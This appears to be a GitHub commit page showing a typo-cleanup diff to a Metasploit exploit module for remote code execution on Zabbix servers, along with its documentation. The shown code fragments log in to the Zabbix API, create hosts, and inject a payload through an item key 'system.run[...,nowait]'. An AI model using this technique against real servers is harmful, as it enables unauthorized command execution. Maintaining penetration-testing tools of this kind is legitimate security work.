Skip to content

Commit ae278d0

Browse files
committed
Cleanup some minor typos
1 parent 8838d9c commit ae278d0

File tree

2 files changed

+9
-9
lines changed

2 files changed

+9
-9
lines changed

documentation/modules/exploit/multi/http/zabbix_script_exec.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,7 @@ This executes a Unix command.
3939
If this option is set, the exploit will try to use a script, in order to achieve RCE.
4040

4141
#### item
42-
If this option is set, the exploit will try to use the key `system.run[*]` in an item, in order to achieve RCE, only works in Zabix >= 3.0.
42+
If this option is set, the exploit will try to use the key `system.run[*]` in an item, in order to achieve RCE, only works in Zabix >= 3.0.
4343
This only work on a non default Zabbix server configuration, where
4444
the directive `AllowKey=system.run[*]` is enabled in the `zabbix-agentd.conf` file.
4545

modules/exploits/multi/http/zabbix_script_exec.rb

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -145,7 +145,7 @@ def create_item(auth_token, host_id, payload)
145145
params = {
146146
'delay' => 30,
147147
'hostid' => host_id,
148-
interfaceid: interface_id,
148+
'interfaceid' => interface_id,
149149
'key_' => "system.run[#{payload},nowait]",
150150
'name' => item_title,
151151
'type' => 0,
@@ -154,7 +154,7 @@ def create_item(auth_token, host_id, payload)
154154

155155
send_json_api_request('item.create', auth_token, params)
156156

157-
vprint_good('Succesfully created an item')
157+
vprint_good('Successfully created an item')
158158
end
159159

160160
def create_script(auth_token, zabbix_version, payload)
@@ -257,7 +257,7 @@ def find_group_id(auth_token)
257257
@group_id = group_id
258258

259259
if !group_id.nil?
260-
vprint_good('Sucessfully got a valid groupid')
260+
vprint_good('Successfully got a valid groupid')
261261
end
262262

263263
return group_id
@@ -299,7 +299,7 @@ def create_host(auth_token, group_id)
299299
host_id = resp.dig('result', 'hostids', 0)
300300
@host_id = host_id
301301

302-
vprint_good('Sucessfully created an host')
302+
vprint_good('Successfully created an host')
303303

304304
return host_id
305305
end
@@ -316,7 +316,7 @@ def login
316316
@auth_token = auth_token
317317

318318
if !auth_token.nil?
319-
print_good('Sucessfully logged in')
319+
print_good('Successfully logged in')
320320
end
321321

322322
return auth_token
@@ -358,7 +358,7 @@ def delete_host(auth_token, host_id, host_name, zabbix_version)
358358
resp = send_json_api_request('host.delete', auth_token, params)
359359

360360
if !resp['result'].nil?
361-
vprint_good("Sucessfully deleted '#{host_name}' host")
361+
vprint_good("Successfully deleted '#{host_name}' host")
362362
else
363363
print_warning("Couldn't delete the host '#{host_name}'")
364364
end
@@ -370,7 +370,7 @@ def delete_script(auth_token, script_id, script_title)
370370
resp = send_json_api_request('script.delete', auth_token, params)
371371

372372
if !resp['result'].nil?
373-
vprint_good("Sucessfully deleted '#{script_title}' script")
373+
vprint_good("Successfully deleted '#{script_title}' script")
374374
else
375375
print_warning("Couldn't delete the script '#{script_title}'")
376376
end
@@ -389,7 +389,7 @@ def cleanup
389389
end
390390

391391
# Retry the block until it returns a truthy value. Each iteration attempt will
392-
# be performed with expoential backoff. If the timeout period surpasses, false is returned.
392+
# be performed with exponetial backoff. If the timeout period surpasses, false is returned.
393393
def retry_until_true(timeout:)
394394
start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)
395395
ending_time = start_time + timeout

0 commit comments

Comments
 (0)